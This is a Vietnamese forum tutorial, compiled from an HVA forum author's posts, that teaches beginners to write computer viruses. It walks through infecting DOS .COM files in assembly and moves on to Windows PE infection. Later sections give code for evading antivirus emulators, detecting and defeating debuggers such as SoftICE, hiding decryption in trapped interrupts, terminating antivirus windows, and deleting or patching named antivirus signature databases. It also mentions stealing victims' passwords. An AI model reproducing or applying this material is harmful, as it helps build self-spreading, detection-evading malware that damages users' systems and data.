Hướng dẫn lập trình Virus, Dành cho newbie
Author: Spinx (hva)
Lời nói đầu của Benina: Tòan bộ bài viết này tôi tổng hợp từ các bài viết của spinx trên 4rum HVA và chia ra làm 5 bài. Đầu tiên tôi xin lỗi tác giả vì chưa xin phép và tự đặt tựa các bài viết (vì cho dễ theo dõi). Còn bây giờ đọc đọc…..
BÀI 1: MỞ ĐẦU
Author: spinx
Bạn có muốn trở thành VXer? Mục đích bài này tôi muốn giới thiệu cho newbie về cách viết VR. Yêu cầu trước hết là biết lập trình ASM. Đoạn ấy tôi không hướng dẫn được các bác tự mua sách học lấy. Tôi không đưa dạng từng lệnh một đâu. Làm như vậy mất hết tính sáng tạo của mọi người đi. Chúng ta sẽ bắt đầu từ các định nghĩa cơ bản. Xin lỗi chua thêm 1 câu: suy nghĩ kỹ khi thực hành, tôi không chịu trách nhiệm về những gì các bác làm
VR là gì?
E hèm... cũng khó đấy vì trong thực tế VR HẾT SỨC ĐA DẠNG. Tuy nhiên ta có thể định nghiã nôm na VR là một đoạn code có khả năng tự sao chép, nhân bản (không đúng với trojan lắm nhỉ ). VR có thể nằm trong các tệp khả thi (executable files) như COM hoặc EXE, boot sector, MBR...
Chọn ngôn ngữ lập trình
Thông thường VR được xây dựng bằng Assembler nhưng không nhất thiết như vậy. VR trên thực tế có thể xây dựng bằng Pascal, C, VB... thậm chí có VR còn được viết bằng tệp BAT. Tuy vậy tôi khuyên nên chọn ASM với các lý do sau:
Kích thước nhỏ: ngôn ngữ ASM sẽ cho ta khả năng lập trình với kích thước nhỏ nhất có thể. Đây là một đặc tính quan trong của VR. Bằng ASM ta sẽ bớt đi rất nhiều code không cần thiết và trùng lặp do các trình biên dịch ngôn ngữ bậc cao sinh ra. Trong quá trình tối ưu mã code ta có thể tối ưu đến từng byte mã lệnh. Lựa chọn các lệnh có cùng kết quả với kích thước nhỏ nhất....
Khả năng kiểm soát: Ta có thể kiểm soát từng lệnh, move code từ vị trí này sang vị trí khác, vừa chạy vừa patch code ( patch on-the-fly ). Mã hoá code từng phần ....
Tính linh hoạt: đây là ưu điểm mạnh nhất của ASM khi lập trình. Là một ngôn ngữ phi cấu trúc, khả năng sáng tạo trên ASM là không bị giới hạn.
Cuối cùng nhiều khi VR không hoàn toàn là một chương trình (boot VR chẳng hạn) nên chẳng có lý do gì để chọn một ngôn ngữ bâc cao cả trừ phi bạn quá lười.
Một Vxer cần có gì
Như vậy, hãy trang bị cho mình chút kiến thức về ASM rồi ta bắt tay với vài công cụ tối thiểu sau:
-Chương trình dịch ASM. Bạn có thể chọn TASM, MASM hoặc một chương trình dịch bất kỳ tuỳ thích. Nói chung với tasm 3.1 là đủ với một dos VR
-Chương trình link. Có thể là Tlink hoặc link.exe
-Một tool debuger. Có nhiều lắm, debug, symdeb... (dos) softice, win32dasm... (win)
-Một chương trình soạn text (quickedit, notepad, utraedit....)
-Kiếm vài mẫu VR cơ bản, đừng bắt đầu từ VR phức tạp quá nếu không bạn sẽ mệt mỏi vì debug thuật toán mã hoá và vượt qua một đống mã anti-debug.
Kiếm vài con cô cổ như LittleGirl, onehalf...
-Tool dump bộ nhớ. Nếu không có thì sài tạm chức năng của debuger vậy
-Bảng tra cứu ngắt trong vài quyển lập trình hệ thống hoặc dùng tech-help
-Chương trình diệt VR (các AV xịn chứ không phải BKAV đâu) để kiểm tra xem VR của bạn đã thực sự tàng hình trước các kiểm tra heuristic chưa
-Email của tôi nếu cần giúp đỡ
Còn gì không nhỉ? Thôi tạm thế đã
Có một điều Vxer nên ghi nhớ KHÔNG MÁY MÓC. Bạn đã biết làm VR nhưng đừng máy móc theo dập khuôn. Sáng tạo càng kỳ quặc VR của bạn càng nguy hiểm. Đảo code đi thoải mái miễn đạt kết quả. Nghĩ ra càng nhiều tips & trịck càng tốt.
Tôi hy vọng sẽ lần lượt giới thiệu đủ các VR file trên dos, boot VR, VR file trên win, VR file trên Linux, trojan và cuối cùng là VR trên nhiều hệ điều hành DOS-WIN-UNIX.
Ta bắt đầu với một VR file đơn giản. Một VR file thường làm gì:
1. Mở file cần lây nhiễm
2. Kiểm tra xem đã từng nhiễm chưa
3. Nếu rồi thì bỏ qua
4. Lưu ngày giờ của file
5. Lưu đoạn code đầu chương trình (COM) hoặc header (EXE)
6. Nhét lệnh nhảy tới VR của ta đè lên code đã lưu (COM) hoặc sửa header (EXE)
để VR có thể bắt đầu trước chương trình gốc
7. Nối thêm VR của ta vào file
8. Cập nhật ngày tháng cũ
OK, ta đã có một VR đơn giản. Tôi sẽ phân tích từng mục ở các phần sau.
Thực ra có một loại VR tồi tệ nhất là overwriting VR. VR này thường ghi đè lên tệp gốc dẫn đến què quặt dữ liệu. Bạn định tranh luận với tôi là còn có rất nhiều hình thức lây lan khác ư? Tôi biết nhưng đây chỉ là bài cho
newbie đừng quên điều đó.
Tiếp tục nhá, các thao tác khác một VR có thể làm là gì:
Thường trú: Nhiều người nghĩ rằng VR là phải thường trú nhưng không hẳn vậy. Chính vì thế tôi không liệt thao tác này vào trong nhóm các thao tác thường làm.
Lây nhiễm: Một VR có thể lây nhiễm nhiều cách (ở trên là lây nhiễm tệp khả thi) qua files, email... hoặc boot sector (đĩa mềm), macro... Nạn nhân sẽ chạy file lây nhiễm mà không biết. Alê hấp, VR nắm quyền điều khiển
Nắm quyền điều khiển: Một khi VR đã chạy ta có thể làm mọi điều ta muốn. Phát huy trí tưởng tượng thoải mái. Bạn có thể lấy mọi thông tin của nạn nhân (trojan hay làm) từ pwd email đến thư tình... thậm chí mở một backdoor để điều khiển máy tính từ xa.
Phá hoại: Một khi đã nắm quyền điều khiển, bạn có thể phá hoại những gì bạn thích phá. Theo nhận xét của tôi, phá hoại là hình thức chỉ các beginner mới thích làm. Nó hơi thất đức, và tất nhiên có VR hoàn toàn không phá hoại
Một vài kỹ thuật nâng cao tôi sẽ phân tích thêm trong bài viết là:
ARMOURING: chống debug và disassembler. Đây là một trong các kỹ thuật tự bảo vệ cho VR (xem thêm bài kỹ thuật lập trình VR). Tôi sẽ cung cấp chi tiết cho các bạn một số cách bẫy ngắt lạ (int 1, int 0, int 6...), đánh lừa stack, đặt điểm dừng (break points), fetch code on-the-fly
STEALTH: có một số thuật toán rất hay ( FCB, Handles, SFT, tự tháo gỡ...). Các kỹ thuật này nhằm làm nạn nhân thấy tệp tin có vẻ như chưa bị nhiễm. Nó có thể trả về kích thước chuẩn khi nạn nhân rờ đến hoặc thậm chí tự tháo gỡ VR ra khỏi tệp khi nạn nhân mở file. Tôi sẽ trình bày kỹ về FCBStealth, SFTStealth, Handle stealth. Tự tháo gỡ thì chắc các bạn sẽ tự làm được
ENCRYPTION: tôi sẽ trình bày vài cách mã hoá đơn giản và thông dụng. VR thường mã hoá code của nó và chỉ giải mã ra khi chạy.
POLYMORPHISM: Đa hình là kỹ thuật tự thay đổi code mã hoá nhằm tạo ra càng nhiều phiên bản càng tốt. Tự thay đổi liên tục là một chức năng sinh tồn.
ANTI-HEURISTIC: Thuật toán chống tìm kiếm hueristic (xem thêm Kỹ thuật lập trìnhVR)
TUNNELING: kỹ thuật bẫy ngắt
ANTI-TUNNELING: Cách giữ ngắt cho riêng mình, tránh AV hoặc VR khác
ANTI-BAIT: Điều cần tránh khi lây nhiễm (xem thêm kỹ thuật lập trình VR)
OPTIMIZATION: Một số kinh nghiệm tối ưu code
Mỏi tay quá rồi, hẹn các bác bài sau nhé.... to be continue!
(spinx)
BÀI 2: VR TRÊN DOS
Author: spinx
Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ cắt ngắn chương trình đào tạo. Chúng ta sẽ phân tích nhanh một VR file COM trên DOS để lấy khái niệm rồi bài sau sẽ đi vào VR trên win và unix luôn. Sau các bài này khi các bạn đã tự thực hành và trở thành VXer, các bạn nào muốn nâng cao trình độ có thể thảo luận về các kỹ thuật nâng cao trong bài Kỹ thuật lập trình VR của tôi.
Như ta đã phân tích ở bài trước, VR COM sẽ làm thao tác nối (append) chính nó vào chương trình của nạn nhân. Yêu cầu của VR là nắm quyền kiểm soát trước khi chương trình gốc chạy. Chính vì vậy VR sẽ thay đổi code ở đầu chương trình gốc để tạo một lệnh nhảy xuống đoạn mã VR mới nối thêm. Sau khi VR chạy xong, đoạn mã gốc sẽ được phục hồi VR sẽ trả lại quyền điều khiển để chương trình gốc có thể chạy bình thường. Chính vì vậy nạn nhân vẫn có thể ung dung hút thuốc làm việc bình thường mà không biết máy tính đã nhiễm VR. Hình vẽ sau mô tả hoạt động của một VR. Tôi rất muỗn đưa ra nhiều hình vẽ minh hoạ nhưng không biết làm thế nào, các bạn xem tạm vậy.
. . . . . . . . . . . . . . . . . . . . . |Jump VR|
------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|File. . |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |Virus. |
Tất nhiên các bạn có thể dễ dàng nhận ra có cách khác là đẩy chương trình gốc ra sau VR theo dạng
------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|Virus. |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |File. . |
Tuy nhiên cách này thường không được sử dụng vì chạy chậm hơn nhiều. Tổng kết khái niệm ở đây chỉ còn là: VR và tệp tin sau khi lây nhiễm sẽ được hợp làm một, VR nắm quyền điều khiển chương trình và được chạy trước, chương trình gốc sẽ được trả lại nguyên vẹn và chạy sau khi VR kết thúc.
Dựa trên nguyên tắc này các cách đã trình bày là phương pháp cơ bản còn thực ra các bạn có thể sáng tạo tuỳ theo ý mình để đạt được mục đích.
Sơ đồ sau là diễn giải một tệp .COM trước và sau khi lây nhiễm:
Bat dau ct |-------------------|. . . . . |----------------------|
. . . . . . . . | Ma dau ct cu. |--|. . . | Ma jump cho VR |--|
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . |---->| Ma dau ct cu. . . |. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |<-|
. . . . . . . . . . . . . . . . . . . . . . . . . . |. Ma VR. . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|
Thao tác lây nhiễm của một VR .com là
1. Mở file .com
2. Lưu ngày giờ tạo file
3. Lưu các bytes đầu CT gốc (thường là 3)
4. Tính lệnh nhảy tới VR (cuối CT)
5. Ghi lệnh nhảy đè lênh các bytes đầu
6. Nối VR vào cuối CT gốc
7. Phục hồi lại ngày giờ tạo file
8. Đóng file
Vậy những gì ta sẽ phải làm khi VR nắm quyền điều khiển? Tất nhiên là tìm kiếm các tệp .com chưa lây nhiễm ở xung quanh và bắt đầu lây nhiễm
Thực hành:
Bắt đầu một VR đơn giản:
.model tiny
.code
org 0100h
jump_to_VR:
db 0E9h,0,0 ; jmp start
start:
call get_addr
db 0b8h ;<== đánh lạc hướng disassembler (xem bài Kỹ thuật lập trình VR)
get_addr:
pop bp
Như vậy ta đã có một khởi đầu của VR. Đối với VR thường trú đây là lúc ta ém quân lên bộ nhớ bẫy ngắt và chờ đợi. Với một VR không thường trú bây giờ sẽ là thao tác ta tìm kiếm các tệp *.com để lây lan. Tôi giả định
bạn là người lạp trình ASM cơ bản có nghĩa là có thể sử dụng các ngắt của dos. Vậy thì thao tác tìm kiếm các tệp đuôi *.com trong thư mục chẳng có gì khó phải không. Tôi gơi ý dùng hàm 47h ngắt 21h, hàm 4Eh ngắt 21h (find first), hàm 4Fh ngắt 21h (find next) để tìm kiếm.
Chú ý vì VR của ta được nối vào cuối một chương trình khác nên các offset sẽ bị đảo lộn hết. Không nên dùng các offset tuyệt đối mà chỉ sử dụng tương đối qua thanh ghi bp. Ở đoạn ví dụ trên, ta có trong thanh bp giá trị offset của nhãn get_addr như vậy muốn lấy địa chỉ một biến xxx ta làm như sau:
get_addr:
pop bp
;.......
; Code Virus here
;.......
lea dx, [bp+offset COMmask-offset get_addr]
;....
xxx db “*.COM”,0
Sau khi có tên file .com, quy trình lây nhiễm 8 bước ở trên thì cũng không có gì phức tạp:
1. Mở file:
;offset tên file nạp vào ==> dx
mov ax, 3D02h ; Open R/O
int 21h
xchg ax, bx ; Handle in BX
2. Lấy ngày giờ tạo file
mov ax, 5700h ; get file time/date
int 21h
push cx
push dx
3. Đọc các bytes đầu
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer-offset get_addr]
int 21h
Các bạn có thể đặt vài ký hiệu trên đầu sau lệnh nhảy nhằm kiểm tra nếu tệp đã bị lây nhiễm thì không lây nhiễm lại.
4. Tính lệnh jmp đến cuối file
xor cx, cx
xor dx, dx
mov ax, 4202h
int 21h ;<== Lấy kích thước tệp
Với:
JmpCode:db 0E9h,00,00
Lúc này ta có thể ghi lệnh nhảy mới vào tệp .com bằng lệnh:
mov word ptr ds:[bp+offset JmpCode-Offset get_addr+1],ax ;Địa chỉ jmpcode + 1
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
mov ah,40h
mov dx,<địa chỉ jmpCode>
mov cx,4
int 21h
5. Nối VR vào cuối tệp
mov ah,40h
mov dx,<địa chỉ start>
mov cx,
int 21h
6. Phục hồi ngày giờ
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h
7. Đóng tệp
mov ah,3eh
int 21h
Đọc đám code này có thể bạn không hiểu, OK. Chỉ cần ghi nhớ là
1. Bạn sẽ dùng các lệnh đọc/ghi tệp ghi nội dung VR vào cuối chương trình gốc
2. Ghi lệnh nhảy gồm3 bytes E9h, <2> vào đầu ct gốc
Kết thúc quá trình lây lan, hãy move trả các bytes gốc trở về offset 100h và nhảy về đó
Đến đây ta kết thúc một VR .com không thường trú.
Câu hỏi và bài tập:
1. Tập viết một chương trình bằng ASM hiển thị tất cả các tệp *.com trong
thư mục hiện hành và gốc c:\
2. Viết một chương trình nối một đoạn mã vào một tệp
3. Hãy nghiên cứu và trả lời các câu hỏi sau:
- Thông thường kích thước tốii đa của một tệp .com trên dos là bao nhiêu
- Lệnh nhảy gần có mấy bytes vvà ý nghĩa từng byte
- Khoảng cách tối đa của một lệnh nhảy gần
Câu hỏi nâng cao:
Di rời một đoạn mã máy từ vị trí này sang vị trí khác trên bộ nhớ sẽ có ảnh hưởng thế nào đến các lệnh nhảy và call
BÀI 3: KỸ THUẬT BẢO VỆ
Author: Spinx
Các newbie xem cũng được nhưng bài này không dành cho newbie. Đây không phải khái niêm cơ bản, tôi chỉ muốn tổng kết một số kỹ thuật bảo vệ trong môn virus programming
Một chương trình diệt VR (AV) tốt là một AV tìm được nhiều VR. Một VR mạnh là một VR được bảo vệ. Được bảo vệ có nghĩa là VR có các tính năng chống phát hiện, chống emulate, chống disassemble, khó theo dõi hành vi. Ở đây tôi xin đề cập đến một vài kỹ thuật bảo vệ như vậy đã từng được các V-er áp dụng trong virus programming.
Có nhiều cách lắm và rất đa dạng như bất cứ kỹ thuật nào cần đến sức sáng tạo của con người. Trong phần này tôi sẽ đề cập tới các kỹ thuật chính:
- anti-emulator
- anti-heuristics
- anti-analysis (anti-disasm)
- anti-debug
- anti-monitor
- anti-antivirus (retro)
- anti-bait
Đây là giới thiệu chung nên tôi không đưa hết các code ví dụ. Có thể tôi sẽ phân tích và đưa ra code ví dụ sâu hơn ở từng kỹ thuật nếu thấy có nhiều bạn đọc quan tâm. Nếu bạn nào muốn thảo luận sâu hơn về kỹ thuật nào xin liên hệ trực tiếp.
Anti-Emulator bằng các tip-trick đơn giản:
Với phương pháp heuristic analysis các AV sẽ CÓ THỂ phát hiện ra mọi VR, kể cả các VR chưa từng gặp. Nó làm việc giống như một bộ giải mã, quét và kiểm tra các đoạn code khả nghi kiểu như các đoạn duyệt APIs, jump to ring-0, làm việc với *.exe mở và ghi các tệp khả thi (.exe, .dll...). Heuristic analysis là một í tưởng rất táo bạo tuy nhiên nghe có vẻ ... phi thực tế. Thế nhưng kỹ thuật này cho đến nay đã có rất nhiều cải tiến và phát triển trong hầu hết các AV nổi tiếng. Tuy vậy, nhiều AV có các bugs và nhiều khi không nhận các đoạn code nguy hiểm. Một số gặp khó khăn khi bắt gặp các mã lệnh "hiểm" (undocumented opcodes) và đa số chúng đều không thể quản lý stack chính các như khi VR chạy thực. Lợi dụng các đặc điểm này nảy sinh một số tricks để qua mặt các Emulator như:
- Kiểm tra stack:
mov edx, esp
push cs
pop eax
cmp esp, edx
jne emul_present ; Có AV emulator
Đoạn code trên hoàn toàn vô hại thậm chí hơi ngớ ngẩn nếu bạn xem qua nhưng trong thực tế chương trình của ban phát hiện được ngay có kẻ can thiệp vào stack của ban trong khi chạy, vậy chương trình của bạn không chạy thực mà chỉ đang trong chế độ emulator
- Tương tự thế bạn có thể lừa AV bằng vài lệnh RETF (rất nhiều VR nội có dùng)
- Sử dụng các opcode lạ (undocumented opcodes) của processor như SALC, BPICE. Vô hại với bạn nhưng khó hiểu với AV
......
Anti-Heuristics bằng kỹ thuật cao cấp:
Như vậy anti-emulator là đánh vào chỗ hổng của các giải thuật heuristic scanners. Các AV có thể khắc phục nhưng rất khó khăn đặc biệt nếu bạn dùng vài kỹ thuật cao hơn như SEH. Tạo ra lỗi giả rồi nhảy đến đoạn bẫy lỗi. Tôi viết VR cách đây lâu rồi nên các kỹ thuậu mới trên win có khi không cập nhật bằng các bác nữa. Tôi sẽ đi sâu vào DOS hơn một chút.
Trước kia trên DOS tôi thích sử dụng vài kỹ thuật bẫy ngắt với:
- Int 0 (divide by zero). Chỉ cần một phép chia cho 0, bạn sẽ nhảy ngay đến code mới mà emulator không theo vết được (ta có thể âm thầm descrypt ở đây)
- Dấu code gọi ngắt:
mov ax, 3D02h-key
add ax, key
int 21h ;Tránh để lộ thao tác đọc file
- Với 386/486 ngày xưa có thể cùng queue fetch (xin lỗi vì tôi hơi hoài cổ một chút):
mov word ptr cs:[offset piq], 20CDh
piq:
nop
nop
code này ngày nay không dùng được. Bạn sẽ nghĩ chương trình sẽ kết thúc vì lệnh int 20h (20CDh) ư? Không đâu! với 386/486 code chạy vẫn là nop
Thế nhưng ngày nay kỹ thuật này biến thể một chút vì các CPU pentium không có queue fetch nhưng các emulator phát triển từ xưa vẫn nghĩ là có. Kỹ thuật đảo lại là:
mov word ptr [offset prefetch],
prefetch:
int 20h
(sao bạn không cười? tôi có trình khó hiểu quá không nhỉ? )
- Tương tự ngắt int 0. Bạn có thể bẫy int 1, int 6
Thôi kết thúc DOS. Trở lại win ta có thể dùng:
- Structured Exception Handling (SEH). Kỹ thuật này phổ biến quá rồi ha
- Threads and fibers
- Pentium+, copro, MMX, 3DNow! opcodes (undocumented opcodes)
- Kỹ thuật đa hình metamorphism
- Nhảy bằng Callbacks
- .......
Chắc mọi người biết cả rồi vì tôi mới trở lại với "Nghệ thuật hắc ám" gần nên kiến thức trên win không mới lắm.
Anti-Analysis
Ở phần này tôi muốn nói về chống disassemblers. Ai cũng biết mấy thằng disassemblers thông dụng như IDA, Sourcer hay win32dasm. Nếu bạn là người xây dựng chương trình disassemblers bạn sẽ làm thể nào. Tất nhiên dễ nhất là bắt đầu từ đầu chương trình, dasm tuần tự. Nếu code tuần tự như tiến ta có kết quả đẹp nhất. Nếu không sau lần chạy thứ nhất ta sẽ hiệu chỉnh lại code theo các lệnh nhảy và call... Thử chạy sourcer, bạn sẽ thấy điểm yếu nhất của disassemblers là rất, rất khó xử lý lệnh call và jump. Vậy phương pháp của V-er là:
- Mã hoá càng nhiều càng tốt
- Sử dụng call với relative offset kiểu
call label
gdelta: db 0b8h ;MOV opcode
label: pop ebp
...
mov eax, [ebp + variable - gdelta]
(Cách này có ở đa số VR rồi)
- Nhảy vào ... giữa mã lệnh:
jmp opcd+1 ;jump into instruction
opcd: mov eax, 0fcebfa90h
Bạn có thể thấy ngay thực ra đây không phải lệnh mov mà lệnh ta là 0fcebfa90h cơ
- Chèn các mã kiểu (db 0b8h) vào nhiều nơi sau các lệnh ret, jmp, ...
- Patch code runtime (tương tự kiểu queue fetch ở trên
- ...
Anti-Debug
Các AVer đã tóm được một mẫu VR của bạn. Hix.. bây giờ thì quá khó. Tuy vậy ta cũng có thể chống đỡ trong ... tuyệt vọng. Với Anti-Debug, nếu AVer không cao thủ họ mới nghi ngờ thôi thì cũng có thể bỏ cuộc. Vả lại có chết cũng cho oanh liệt, gây khó khăn chứ. Nếu không disassemble được người diệt sẽ debug. Cách thông thường là tìm xem có phần mềm debugger thông dụng kiểu softice thì chuồn lẹ. Các cách nhận biết debugger có thể là:
- Gọi luôn API của debugger
- Kiểm tra debugger context
- Sử dụng SEH (xem trên)
- Gọi VxD service (Ring-0 only)
- Kiểm tra softice trên bộ nhớ bằng CreateFileA
- Chọc vào các thanh ghi debug (Ring-0 only)
Anti-Monitor
Cũng vậy thôi, ta tìm xem có thằng AV nào thông dụng đang chạy trên bộ nhớ thì chuồn. Có thể dùng hàm API FindWindowA mà tìm. Nếu thấy thịt nó luôn bằng cách sử PostMessageA đến window handle của nó
Anti-Antivirus
Chủ động tìm database của AV trên đĩa mà thịt (có thể AV sẽ không chạy được nữa). Hay nhất là patch được database (AV chạy bình thường nhưng không tìm được VR nữa. Một số db thông dụng:
*.AVC - AVP viral database
AVP.CRC - AVP crc file
*.VDB - DrWeb viral database
NOD32.000 - NODICE viral database
ANTI-VIR.DAT - TBAV crc file
CHKLIST.MS - MSAV crc file
Anti-Bait
Chọn file mà lây. Tránh các AV, tránh mấy chương trình thông dụng kiểu winword.exe. Như ngày xưa trên DOS ta hay tránh command.com í
Tóm lại, tôi tổng kết các kỹ thuật ở đây, đây là theo những gì tôi hiểu nên sai các bác bỏ qua cho. Nếu tôi trình bày khó hiểu quá thì hix... trình độ sư phạm tôi thế thôi. Đây toàn là í tưởng các Ver chuyên nghiệp đã dùng nếu bạn là Ver đã từng viết VR chắc sẽ hiểu ra và tự xây dựng đoạn code cho riêng mình được.
Thân,
Spinx
Tôi sẽ đưa thêm một số ví dụ về từng kỹ thuật đã đề cập phía trên
Anti-Debug
Về bản chất chống thao tác debug tức là dạy VR chống lại con người (ở đây là các AV), chính vì vậy điều này xem ra không thể thực hiện được. Sau khi bắt được một mẫu VR mà không de-assemble được, các AV sẽ sử dụng các công cụ debug dịch ngược VR từ mã máy ra dạng ASM để đọc và tìm hiểu nguyên lý hoạt động của VR đặc biệt là đoạn code mã hoá vì đây là điểm quan trọng nhất để giải mã và hiểu được nội dung VR. Thông thường đề làm được các VXer phải mã hoá VR dựa trên một số thuật toán mã hoá thật phức tạp nhằm làm nản lòng người đọc. Các giải thuật này có rất nhiều trên NET nên tôi sẽ không trình bày nữa. Khi lập trình người lập nên tận dụng các lệnh nhảy và call càng nhiều càng tốt nhằm gây khó khăn cho người theo dõi.
- Gọi luôn API của debugger
VD:
call IsDebuggerPresent ;call API
xchg eax, ecx ;result to ECX
jecxz debugger_not_present ;if ZERO, debugger not present
Gọi hàm API Win98/NT kiểm tra API level debugger
- Kiểm tra debugger context
mov ecx, fs:[20h] ;load context of debugger
jecxz debugger_not_present ;if ZERO, debugger not present
- Sử dụng SEH
call setupSEH ; The call pushes the offset
errorhandler:
mov esp,[esp+8] ; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]
;*** SECRET CODE HERE ***
setupSEH:
push dword ptr fs:[0] ; Push original SEH handler
mov fs:[0],esp ; And put the new one (located
; after the first call)
mov ebx,0BFF70000h ; Try to write in kernel (will
mov eax,012345678h ; generate an exception)
xchg eax,[ebx]
- Gọi VxD service (Ring-0 only)
mov eax, 202h ;SoftICE ID number
VxDCall Get_DDB ;call service
xchg eax, ecx ;result to ECX
jecxz sice_not_present ;SoftICE not present
- Kiểm tra softice trên bộ nhớ bằng CreateFileA
xor eax, eax ;EAX=0
push eax ;parameters
push 4000000h ;for
push eax ;CreateFileA
push eax ;API
push eax ;function
push eax ;...
push offset sice ;name of driver
call CreateFileA ;open driver
inc eax ;is EAX==0?
je sice_not_present ;yeah, SoftICE is not present
dec eax ;no,
push eax ;close its handle
call CloseHandle ;...
... ;and make some action
sice db '\\.\SICE',0 ;SICE driver under Win9X
;sice db '\\.\NTICE',0 ;SICE driver under WinNT
- Chọc vào các thanh ghi debug (Ring-0 only)
mov eax, '****' ;set already_infected mark
mov dr0, eax ;to dr0
Anti-Heuristics bằng bẫy ngắt trên DOS:
INT 1: Ngắt 01 có một số đặc điểm lạ có thể lợi dụng. Thông thường ta có thể gọi ngắt qua opcode CDh. Ở đây là 0CDh/001h tuy nhiên lệnh gọi ngắt 01 có một mã khác là 0F1h. Mã không công bố cũng đồng nghĩa với việc có thể không được emulated bởi các AVs. Lợi dụng điều này ta có thể dùng INT 01h để mã hoá VR:
mov ax, 3501h ;Lấy ngắt 01 cũ
int 21h
mov old_segm, es
mov old_offs, bx
mov ax, 2501h ; Bẫy int 01
mov dx, offset int1_handler ;Giả định DS=CS
int 21h
db 0F1h ; Giải mã VR
mov ax, 2501h ;Phục hồi ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h
[...]
int1_handler:
;...Giải mã/ mã hoá VR here...
iret
Hoặc ta có thể làm mất vết bằng cách:
[...]
db 0F1h ;Gọi int 01 đã bẫy (như trên)
mov ax, 4c00h ;quit program
int 21h ;Thực ra chẳng bao giờ quit
;---- VR tiếp tục bình thường
[...]
int1_handler:
mov bx, sp ;modify return address, so the quit command
add word ptr ss:[bx], 5 ;is never executed.
iret
INT 06: Điểm mạnh của INT 06 là được CPU gọi khi có thao tác bất thường. Các AVs rất khó bẫy. Tương tự trên ta ó thể sử dụng int 06h
mov ax, 3506h ;Lấy ngắt cũ
int 21h
mov old_segm, es
mov old_offs, bx
mov ax, 2506h ;Bẫy ngắt
mov dx, offset int6_handler
int 21h
dw 0FFFFh ;Tự tạo lỗi
mov ax, 2506h ;trả ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h
[...]
int6_handler:
;mã hoã/giải mã ở đây
mov bx, sp
add word ptr ss:[bx], 2 ;Trở về VR cũ
;2 là mã lệnh không hợp lệ
iret
Hoặc cũng có thể dùng làm kỹ thuật xoá vết như trên
Thân,
spinx
BÀI 4: VR TRÊN WINDOWS
Author: Spinx
OK, không thấy có bạn nào thắc mắc gì nhiều về các VR trên DOS (chắc chẳng ma nào đọc) :rolleyes: đồng thời có nhiều bạn PM cho tôi yêu cầu được biết thêm về VR trên Win và Unix. Chính vì vậy tôi sẽ kết thúc các bài đào tạo cơ bản để chuyển sang VR for Win. Vì thời gian có hạn, tôi sẽ mặc định là các bạn đã biết cách lập VR trên DOS để tập trung phân tích những điểm khác biệt giữa 2 hệ điều hành tất nhiên ở khía cạnh VR programming. Có nhiều bạn (kể cả tôi) lập trình VR trên DOS khá suya cho đến một ngày win ra đời, mọi thứ đảo lộn tiếp cận VR trên win còn khó khăn nên nếu bác nào chưa làm VR mà đọc ngay đừng có choáng nhé. Tôi sở trường dùng ASM nên ngôn ngữ trình bày là Win32Asm.
VR có rất nhiều dạng, bản thân môi trường Win tính đa dạng và phức tạp cũng hơn DOS nhiều nên VR trên Win càng đa dạng và phong phú. Lập trình các loại VR “đơn nguyên” như VR macro hay trojan không quá phức tạp nên tôi sẽ để dành ở một bài khác. Chúng ta sẽ bắt đầu với VR .exe trên Win9x trước.
Như ta đã biết. Các bước cơ bản của VR tệp khả thi là tự copy chính đoạn mã VR vào các tệp khả thi của hệ điều hành như .exe, .com, .dll, .ocx... nhưng nạn nhân chủ yếu trên win là tệp .exe (thực tế có rất nhiều dạng khác nhưng ta tạm xét là ngoại lệ). Nguyên tắc này vẫn đúng trên các hệ điều hành Windows. Thật đáng tiếc là mức độ bảo mật và tự vệ của bản thân các HĐH windows cũng khác nhau nên nhiều VR chỉ có tính tương thích nhất định. Thao tác cần phân tích bao gồm:
- Cách thức lây lan
- Khả năng thường trú
- Khả năng kiểm soát hệ thống
Cách thức lây lan
Gần giống với VR .exe trên DOS, thao tác lây lan ở đây chỉ đơn giản là sửa lại header tệp PE trên win và attach đoạn code VR vào tệp gốc (host). Tất cả thứ chúng ta cần là cấu trúc header tệp PE của Windows. Điểm bắt đầu chương trình đặc biệt là con trỏ EIP (trên DOS là cs:ip). Tài liệu header PE có rất nhiều trên mạng, kể cả trong các tài liệu chính thức (các bạn có thể tự tìm). Trên HVA cũng có vài bài hình như của .... đề cập chi tiết nên tôi sẽ không đi sâu nữa mà chỉ nhắc lại vài điểm chính.
http://spinxspinx.bravepages.com/images/pefig01.gif
